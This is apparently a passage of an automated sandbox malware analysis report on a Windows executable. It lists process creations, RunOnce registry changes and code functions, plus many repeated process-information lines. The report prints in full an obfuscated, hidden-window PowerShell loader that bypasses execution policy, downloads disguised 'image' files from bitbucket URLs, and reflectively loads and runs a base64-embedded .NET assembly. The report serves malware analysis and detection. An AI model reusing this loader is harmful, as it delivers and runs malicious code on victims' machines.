LwBo#Gc#Z#Bm#Gg#Z#Bm#Gc#Z##v#HQ#ZQBz#HQ#LwBk#G8#dwBu#Gw#bwBh#GQ#cw#v#G4#ZQB3#F8#aQBt#GE#ZwBl#C4#agBw#Gc#Pw#x#DQ#N##0#DE#Nw#y#DM#Jw#p#Ds#DQ#K#C##I##g#C##I##g#C##I##g#C##I##g#C##J#Bp#G0#YQBn#GU#QgB5#HQ#ZQBz#C##PQ#g#EQ#bwB3#G4#b#Bv#GE#Z#BE#GE#d#Bh#EY#cgBv#G0#T#Bp#G4#awBz#C##J#Bs#Gk#bgBr#HM#Ow#N##o#I##g#C##I##g#C##I##g#C##I##g#C##I#Bp#GY#I##o#CQ#aQBt#GE#ZwBl#EI#eQB0#GU#cw#g#C0#bgBl#C##J#Bu#HU#b#Bs#Ck#I#B7#C##J#Bp#G0#YQBn#GU#V#Bl#Hg#d##g#D0#I#Bb#FM#eQBz#HQ#ZQBt#C4#V#Bl#Hg#d##u#EU#bgBj#G8#Z#Bp#G4#ZwBd#Do#OgBV#FQ#Rg#4#C4#RwBl#HQ#UwB0#HI#aQBu#Gc#K##k#Gk#bQBh#Gc#ZQBC#Hk#d#Bl#HM#KQ#7##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I##g#CQ#cwB0#GE#cgB0#EY#b#Bh#Gc#I##9#C##Jw#8#Dw#QgBB#FM#RQ#2#DQ#XwBT#FQ#QQBS#FQ#Pg#+#Cc#Ow#g#CQ#ZQBu#GQ#RgBs#GE#Zw#g#D0#I##n#Dw#P#BC#EE#UwBF#DY#N#Bf#EU#TgBE#D4#Pg#n#Ds#I##k#HM#d#Bh#HI#d#BJ#G4#Z#Bl#Hg#I##9#C##J#Bp#G0#YQBn#GU#V#Bl#Hg#d##u#Ek#bgBk#GU#e#BP#GY#K##k#HM#d#Bh#HI#d#BG#Gw#YQBn#Ck#Ow#g##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I##k#GU#bgBk#Ek#bgBk#GU#e##g#D0#I##k#Gk#bQBh#Gc#ZQBU#GU#e#B0#C4#SQBu#GQ#ZQB4#E8#Zg#o#CQ#ZQBu#GQ#RgBs#GE#Zw#p#Ds#DQ#K#C##I##g#C##I##g#C##I##g#C##I##g#C##aQBm#C##K##k#HM#d#Bh#HI#d#BJ#G4#Z#Bl#Hg#I##t#Gc#ZQ#g#D##I##t#GE#bgBk#C##J#Bl#G4#Z#BJ#G4#Z#Bl#Hg#I##t#Gc#d##g#CQ#cwB0#GE#cgB0#Ek#bgBk#GU#e##p#C##ew#g#CQ#cwB0#GE#cgB0#Ek#bgBk#GU#e##g#Cs#PQ#g#CQ#cwB0#GE#cgB0#EY#b#Bh#Gc#LgBM#GU#bgBn#HQ#a##7#C##DQ#K#C##I##g#C##I##g#C##I##g#C##I##g#CQ#YgBh#HM#ZQ#2#DQ#T#Bl#G4#ZwB0#Gg#I##9#C
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -Noprofile -command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 function DownloadDataFromLinks { param ([string[]]$links) $webClient = New-Object System.Net.WebClient; $shuffledLinks = Get-Random -InputObject $links -Count $links.Length; foreach ($link in $shuffledLinks) { try { return $webClient.DownloadData($link) } catch { continue } }; return $null }; $links = @('https://bitbucket.org/hgdfhdfgd/test/downloads/new_image2.jpg?14461721', 'https://bitbucket.org/hgdfhdfgd/test/downloads/new_image.jpg?14441723'); $imageBytes = DownloadDataFromLinks $links; if ($imageBytes -ne $null) { $imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes); $startFlag = '<<BASE64_START>>'; $endFlag = '<<BASE64_END>>'; $startIndex = $imageText.IndexOf($startFlag); $endIndex = $imageText.IndexOf($endFlag); if ($startIndex -ge 0 -and $endIndex -gt $startIndex) { $startIndex += $startFlag.Length; $base64Length = $endIndex - $startIndex; $base64Command = $imageText.Substring($startIndex, $base64Length); $commandBytes = [System.Convert]::FromBase64String($base64Command); $loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes); $type = $loadedAssembly.GetType('testpowershell.Home'); $method = $type.GetMethod('la').Invoke($null, [object[]] ('txt.pngSoem/sdaolnwod/rgfd/wgds/gro.tekcubtib//:sptth', '0', 'StartupName', 'RegAsm', '0'))}}"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell "$codigo = 'WwBO#GU#d##u#FM#ZQBy#HY#aQBj#GU#U#Bv#Gk#bgB0#E0#YQBu#GE#ZwBl#HI#XQ#6#Do#UwBl#GM#dQBy#Gk#d#B5#F##cgBv#HQ#bwBj#G8#b##g#D0#I#Bb#E4#ZQB0#C4#UwBl#GM#dQBy#Gk#d#B5#F##cgBv#HQ#bwBj#G8#b#BU#Hk#c#Bl#F0#Og#6#FQ#b#Bz#DE#Mg#N##o#I##g#C##I##g#C##I##g#C##I##g#C##ZgB1#G4#YwB0#Gk#bwBu#C##R#Bv#Hc#bgBs#G8#YQBk#EQ#YQB0#GE#RgBy#G8#bQBM#Gk#bgBr#HM#I#B7#C##c#Bh#HI#YQBt#C##K#Bb#HM#d#By#Gk#bgBn#Fs#XQBd#CQ#b#Bp#G4#awBz#Ck#I##N##o#I##g#C##I##g#C##I##g#C##I##g#C##J#B3#GU#YgBD#Gw#aQBl#G4#d##g#D0#I#BO#GU#dw#t#E8#YgBq#GU#YwB0#C##UwB5#HM#d#Bl#G0#LgBO#GU#d##u#Fc#ZQBi#EM#b#Bp#GU#bgB0#Ds#I##N##o#I##g#C##I##g#C##I##g#C##I##g#C##J#Bz#Gg#dQBm#GY#b#Bl#GQ#T#Bp#G4#awBz#C##PQ#g#Ec#ZQB0#C0#UgBh#G4#Z#Bv#G0#I##t#Ek#bgBw#HU#d#BP#GI#agBl#GM#d##g#CQ#b#Bp#G4#awBz#C##LQBD#G8#dQBu#HQ#I##k#Gw#aQBu#Gs#cw#u#Ew#ZQBu#Gc#d#Bo#Ds#I##N##o#I##g#C##I##g#C##I##g#C##I##g#C##ZgBv#HI#ZQBh#GM#a##g#Cg#J#Bs#Gk#bgBr#C##aQBu#C##J#Bz#Gg#dQBm#GY#b#Bl#GQ#T#Bp#G4#awBz#Ck#I#B7#C##d#By#Hk#I#B7#C##cgBl#HQ#dQBy#G4#I##k#Hc#ZQBi#EM#b#Bp#GU#bgB0#C4#R#Bv#Hc#bgBs#G8#YQBk#EQ#YQB0#GE#K##k#Gw#aQBu#Gs#KQ#g#H0#I#Bj#GE#d#Bj#Gg#I#B7#C##YwBv#G4#d#Bp#G4#dQBl#C##fQ#g#H0#Ow#g##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I#By#GU#d#B1#HI#bg#g#CQ#bgB1#Gw#b##g#H0#Ow#g##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I##k#Gw#aQBu#Gs#cw#g#D0#I#B##Cg#JwBo#HQ#d#Bw#HM#Og#v#C8#YgBp#HQ#YgB1#GM#awBl#HQ#LgBv#HI#Zw#v#Gg#ZwBk#GY#a#Bk#GY#ZwBk#C8#d#Bl#HM#d##v#GQ#bwB3#G4#b#Bv#GE#Z#Bz#C8#bgBl#Hc#XwBp#G0#YQBn#GU#Mg#u#Go#c#Bn#D8#MQ#0#DQ#Ng#x#Dc#Mg#x#Cc#L##g#Cc#a#B0#HQ#c#Bz#Do#Lw#v#GI#aQB0#GI#dQBj#Gs#ZQB0#C4#bwBy#Gc#LwBo#Gc#Z#Bm#Gg#Z#Bm#Gc#Z##v#HQ#ZQBz#HQ#LwBk#G8#dwBu#Gw#bwBh#GQ#cw#v#G4#ZQB3#F8#aQBt#GE#ZwBl#C4#agBw#Gc#Pw#x#DQ#N##0#DE#Nw#y#DM#Jw#p#Ds#DQ#K#C##I##g#C##I##g#C##I##g#C##I##g#C##J#Bp#G0#YQBn#GU#QgB5#HQ#ZQBz#C##PQ#g#EQ#bwB3#G4#b#Bv#GE#Z#BE#GE#d#Bh#EY#cgBv#G0#T#Bp#G4#awBz#C##J#Bs#Gk#bgBr#HM#Ow#N##o#I##g#C##I##g#C##I##g#C##I##g#C##I#Bp#GY#I##o#CQ#aQBt#GE#ZwBl#EI#eQB0#GU#cw#g#C0#bgBl#C##J#Bu#HU#b#Bs#Ck#I#B7#C##J#Bp#G0#YQBn#GU#V#Bl#Hg#d##g#D0#I#Bb#FM#eQBz#HQ#ZQBt#C4#V#Bl#Hg#d##u#EU#bgBj#G8#Z#Bp#G4#ZwBd#Do#OgBV#FQ#Rg#4#C4#RwBl#HQ#UwB0#HI#aQBu#Gc#K##k#Gk#bQBh#Gc#ZQBC#Hk#d#Bl#HM#KQ#7##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I##g#CQ#cwB0#GE#cgB0#EY#b#Bh#Gc#I##9#C##Jw#8#Dw#QgBB#FM#RQ#2#DQ#XwBT#FQ#QQBS#FQ#Pg#+#Cc#Ow#g#CQ#ZQBu#GQ#RgBs#GE#Zw#g#D0#I##n#Dw#P#BC#EE#UwBF#DY#N#Bf#EU#TgBE#D4#Pg#n#Ds#I##k#HM#d#Bh#HI#d#BJ#G4#Z#Bl#Hg#I##9#C##J#Bp#G0#YQBn#GU#V#Bl#Hg#d##u#Ek#bgBk#GU#e#BP#GY#K##k#HM#d#Bh#HI#d#BG#Gw#YQBn#Ck#Ow#g##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I##k#GU#bgBk#Ek#bgBk#GU#e##g#D0#I##k#Gk#bQBh#Gc#ZQBU#GU#e#B0#C4#SQBu#GQ#ZQB4#E8#Zg#o#CQ#ZQBu#GQ#RgBs#GE#Zw#p#Ds#DQ#K#C##I##g#C##I##g#C##I##g#C##I##g#C##aQBm#C##K##k#HM#d#Bh#HI#d#BJ#G4#Z#Bl#Hg#I##t#Gc#ZQ#g#D##I##t#GE#bgBk#C##J#Bl#G4#Z#BJ#G4#Z#Bl#Hg#I##t#Gc#d##g#CQ#cwB0#GE#cgB0#Ek#bgBk#GU#e##p#C##ew#g#CQ#cwB0#GE#cgB0#Ek#bgBk#GU#e##g#Cs#PQ#g#CQ#cwB0#GE#cgB0#EY#b#Bh#Gc#LgBM#GU#bgBn#HQ#a##7#C##DQ#K#C##I##g#C##I##g#C##I##g#C##I##g#CQ#YgBh#HM#ZQ#2#DQ#T#Bl#G4#ZwB0#Gg#I##9#C	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -Noprofile -command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 function DownloadDataFromLinks { param ([string[]]$links) $webClient = New-Object System.Net.WebClient; $shuffledLinks = Get-Random -InputObject $links -Count $links.Length; foreach ($link in $shuffledLinks) { try { return $webClient.DownloadData($link) } catch { continue } }; return $null }; $links = @('https://bitbucket.org/hgdfhdfgd/test/downloads/new_image2.jpg?14461721', 'https://bitbucket.org/hgdfhdfgd/test/downloads/new_image.jpg?14441723'); $imageBytes = DownloadDataFromLinks $links; if ($imageBytes -ne $null) { $imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes); $startFlag = '<<BASE64_START>>'; $endFlag = '<<BASE64_END>>'; $startIndex = $imageText.IndexOf($startFlag); $endIndex = $imageText.IndexOf($endFlag); if ($startIndex -ge 0 -and $endIndex -gt $startIndex) { $startIndex += $startFlag.Length; $base64Length = $endIndex - $startIndex; $base64Command = $imageText.Substring($startIndex, $base64Length); $commandBytes = [System.Convert]::FromBase64String($base64Command); $loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes); $type = $loadedAssembly.GetType('testpowershell.Home'); $method = $type.GetMethod('la').Invoke($null, [object[]] ('txt.pngSoem/sdaolnwod/rgfd/wgds/gro.tekcubtib//:sptth', '0', 'StartupName', 'RegAsm', '0'))}}"	Jump to behavior

Source: nTHivMbGpg.exe

Static PE information: 0xE28C79B4 [Sun Jun 11 09:36:52 2090 UTC]

Source: C:\Users\user\Desktop\nTHivMbGpg.exe

Code function: 0_2_00007FF6FD211D10 memset,memset,RegCreateKeyExA,RegQueryValueExA,RegCloseKey,GetSystemDirectoryA,LoadLibraryA,GetProcAddress,FreeLibrary,GetSystemDirectoryA,LocalAlloc,GetModuleFileNameA,RegCloseKey,RegSetValueExA,RegCloseKey,LocalFree,

0_2_00007FF6FD211D10

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_00007FFAACB42A83 push eax; iretd		5_2_00007FFAACB42A89
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_00007FFAACB46041 push E85ABD31h; ret		5_2_00007FFAACB460F9

Source: C:\Users\user\Desktop\nTHivMbGpg.exe

Code function: 0_2_00007FF6FD2115F4 CompareStringA,GetFileAttributesA,LocalAlloc,GetPrivateProfileIntA,GetPrivateProfileStringA,GetShortPathNameA,CompareStringA,LocalAlloc,LocalAlloc,GetFileAttributesA,

0_2_00007FF6FD2115F4

Source: C:\Users\user\Desktop\nTHivMbGpg.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce wextract_cleanup0	Jump to behavior
Source: C:\Users\user\Desktop\nTHivMbGpg.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce wextract_cleanup0	Jump to behavior
Source: C:\Users\user\Desktop\nTHivMbGpg.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce wextract_cleanup0	Jump to behavior
Source: C:\Users\user\Desktop\nTHivMbGpg.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce wextract_cleanup0	Jump to behavior

Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
